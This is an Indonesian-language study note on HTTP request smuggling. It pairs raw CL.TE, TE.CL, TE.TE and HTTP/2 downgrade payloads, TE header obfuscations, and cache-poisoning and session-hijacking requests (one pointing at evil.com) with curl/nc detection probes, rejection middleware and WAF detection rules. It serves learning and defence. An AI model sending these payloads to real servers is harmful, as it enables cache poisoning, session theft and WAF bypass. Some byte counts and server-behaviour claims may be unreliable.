Ringkasan

HTTP Request Smuggling adalah teknik exploitasi perbedaan interpretasi HTTP request antara frontend (proxy/WAF/load balancer) dan backend (application server). Dengan memanfaatkan parsing inconsistencies, attacker bisa menyelundupkan request yang tidak terdeteksi WAF namun diproses backend. Serangan ini bisa menyebabkan session hijacking, cache poisoning, dan account takeover.

Cross-link: waf-reverse-proxy-deepdiveapi-security-deep-diveweb-securityids-ips-waf-nsm-comparison


Daftar Isi


1. Root Cause: Parsing Inconsistency

┌──────────┐     CL=13     ┌──────────┐     TE      ┌─────────┐
│  Client  │ ─────────────▶│   WAF/   │ ───────────▶│  Backend│
│          │               │  Proxy   │              │(Apache) │
└──────────┘               └──────────┘              └─────────┘
                              CL priority             TE priority

Ketika frontend dan backend menggunakan header yang berbeda untuk menentukan panjang body request, smuggling terjadi.

Perilaku Server

ServerPriorityPrefix
Apache HTTPDTransfer-EncodingTE
TomcatContent-LengthCL
NginxContent-LengthCL
IISTransfer-EncodingTE
HAProxyTransfer-EncodingTE
NetScalerTransfer-EncodingTE

2. CL.TE — Content-Length vs Transfer-Encoding

Frontend (CL-based) dan backend (TE-based).

Payload

POST / HTTP/1.1
Host: target.com
Content-Length: 44
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: internal
X-Ignore: X

Cara kerja:

  1. Frontend (CL-based): lihat Content-Length: 44 → baca 44 bytes → body adalah semua setelah chunked → forward sebagai 1 request
  2. Backend (TE-based): lihat Transfer-Encoding: chunked → parse 0 (end of chunk)

3. TE.CL — Transfer-Encoding vs Content-Length

Frontend (TE-based) dan backend (CL-based).

Payload

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
 
5c
POST /admin HTTP/1.1
Host: internal
Content-Length: 15
 
x=1
0

Cara kerja:

  1. Frontend (TE): parse chunk → 5c (92 bytes) adalah semua termasuk request kedua → forward sebagai 1 request
  2. Backend (CL): lihat Content-Length: 4 → baca 4 bytes (5c\r\n) saja → sisanya dianggap request baru

4. TE.TE — Obfuscated Transfer-Encoding

Frontend dan backend sama-sama TE-based, tapi cara parse header TE berbeda.

Obfuscation Techniques

# Case toggling
Transfer-Encoding: Chunked
transfer-encoding: chunked
Transfer-Encoding: CHUNKED
 
# Extra characters
Transfer-Encoding: chunked\r\nTransfer-Encoding: identity
Transfer-Encoding:    chunked     # trailing spaces
Transfer-Encoding: \x00chunked    # null byte
Transfer-Encoding: xchunked       # "x" prefix → ignored oleh beberapa server
 
# Multiple headers
Transfer-Encoding: chunked
Transfer-Encoding: x
 
# Header folding (deprecated)
Transfer-Encoding: chunked\r\n chunked

Payload

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: internal

Cara kerja:

  1. Frontend: lihat xchunked → ignore (tidak kenal) → tidak ada chunk processing
  2. Backend: lihat chunked → parse chunk → 0 akhir chunk → request berikutnya adalah GET /admin

5. HTTP/2 Downgrade Smuggling

H2.TE Smuggling

HTTP/2 tidak menggunakan Transfer-Encoding. Tapi saat frontend HTTP/2 mendowngrade ke HTTP/1.1 untuk backend, smuggling bisa terjadi.

HEADERS
:method = POST
:path = /
:authority = target.com
content-length = 0
 
DATA
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: internal

Cara kerja:

  1. Frontend (HTTP/2): parse stream → forward ke backend via HTTP/1.1
  2. Backend (HTTP/1.1): melihat Transfer-Encoding: chunked → parse chunk
  3. Smuggled request tereksekusi

H2.CL Smuggling

HTTP/2 body dihitung dari DATA frame length, bukan Content-Length. Tapi saat downgrade, frontend bisa menambahkan Content-Length header yang tidak cocok.


6. Impact & Exploitation

ImpactTeknikContoh
Session hijackingSmuggle request yang mencuri cookieUser request + Attacker request dalam 1 koneksi
Cache poisoningSmuggle request yang mencemari cacheFrontend cache menyimpan response attacker sebagai halaman legitimate
WAF bypassSmuggle attack payload yang tidak melewati WAFWAF hanya lihat request pertama, request kedua adalah attack
Account takeoverSmuggle credential resetRequest ke internal endpoint admin

Cache Poisoning via Smuggling

POST / HTTP/1.1
Host: target.com
Content-Length: 51
Transfer-Encoding: chunked
 
0
 
GET /static/poison.css HTTP/1.1
Host: evil.com
X-Ignore: X

Jika cache menyimpan response dari GET /static/poison.css (yang sebenarnya dari evil.com), semua user yang request CSS legitimate akan menerima CSS jahat.

Session Hijacking

POST / HTTP/1.1
Host: target.com
Content-Length: 100
Transfer-Encoding: chunked
 
0
 
GET /profile HTTP/1.1
Host: target.com
Cookie: session=HACKED
 

7. Detection Techniques

Timing-Based Detection

# CL.TE test — jika timing berbeda, rentan
# Request A: harusnya return cepat (0 chunk end)
time curl -v -p http://target.com \
  -H "Transfer-Encoding: chunked" \
  -d "0\r\n\r\n"
 
# Request B: harusnya delay/error jika ada smuggling
time curl -v -p http://target.com \
  -H "Content-Length: 100" \
  -H "Transfer-Encoding: chunked" \
  -d "0\r\n\r\n"

Response Differencing

# Kirim dua request cepat dalam 1 koneksi
# Jika response kedua terpengaruh → ada smuggling
echo -e "POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 44\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /404 HTTP/1.1\r\n\r\n" | nc target.com 80

Tool Detection

ToolFungsi
Burp SuiteHTTP Request Smuggler extension (PortSwigger)
Smuggler.pyAuto-detect CL.TE, TE.CL, TE.TE
Python customKirim raw HTTP via socket

8. Defense Strategy

FixImplementasiEfektivitas
HTTP/2 onlyBackend hanya terima HTTP/2Sangat tinggi
Normalize TE headerReject/malformed TE headersTinggi
Reject ambiguous requestJika CL + TE ada → 400 Bad RequestTinggi
Frontend-backend konsistenSamakan parser behaviorSangat tinggi
Disable HTTP/1.1 downgradeJangan downgrade HTTP/2 ke HTTP/1.1Tinggi
WAF ruleBLOCK jika ada CL + TE bersamaanSedang (SMUGGLE-001)

Implementasi: Reject Ambiguous

// Middleware: jika ada Content-Length AND Transfer-Encoding → reject
function checkSmuggling(req, res, next) {
  const cl = req.headers["content-length"]
  const te = req.headers["transfer-encoding"]
  if (cl && te && te.toLowerCase().includes("chunked")) {
    return res.status(400).send("Bad Request")
  }
  next()
}

Implementasi: Normalize TE

// Hanya terima satu nilai TE yang valid
const VALID_TE = ["chunked", "identity"]
function validateTE(te) {
  const normalized = te.toLowerCase().replace(/\s/g, "")
  return VALID_TE.includes(normalized) ? normalized : null
}

9. jarsWAF Detection Rules

Sudah ada at SMUGGLE-001 dan SMUGGLE-002 di body.rs.

// SMUGGLE-001: CL + TE bersamaan → HTTP Request Smuggling
fn check_smuggle_001(req: &RequestInfo) -> bool {
    let cl = req.headers.contains_key("content-length");
    let te = req.headers.get("transfer-encoding")
        .map(|v| v.contains("chunked"))
        .unwrap_or(false);
    cl && te
}
 
// SMUGGLE-002: HTTP/2 pseudo-headers di HTTP/1.1
fn check_smuggle_002(req: &RequestInfo) -> bool {
    req.headers.contains_key(":authority")
        || req.headers.contains_key(":method")
        || req.headers.contains_key(":path")
        || req.headers.contains_key(":scheme")
}

Lokasi payload: /mnt/data_d/Projects/Reference/PayloadsAllTheThings/Request Smuggling/


10. Referensi

  • PortSwigger Research: HTTP Request Smuggling
  • PayloadsAllTheThings: /mnt/data_d/Projects/Reference/PayloadsAllTheThings/Request Smuggling/
  • OWASP CRS: /mnt/data_d/Projects/Reference/owasp-coreruleset/rules/REQUEST-921-PROTOCOL-ATTACK.conf

Cross-link vault: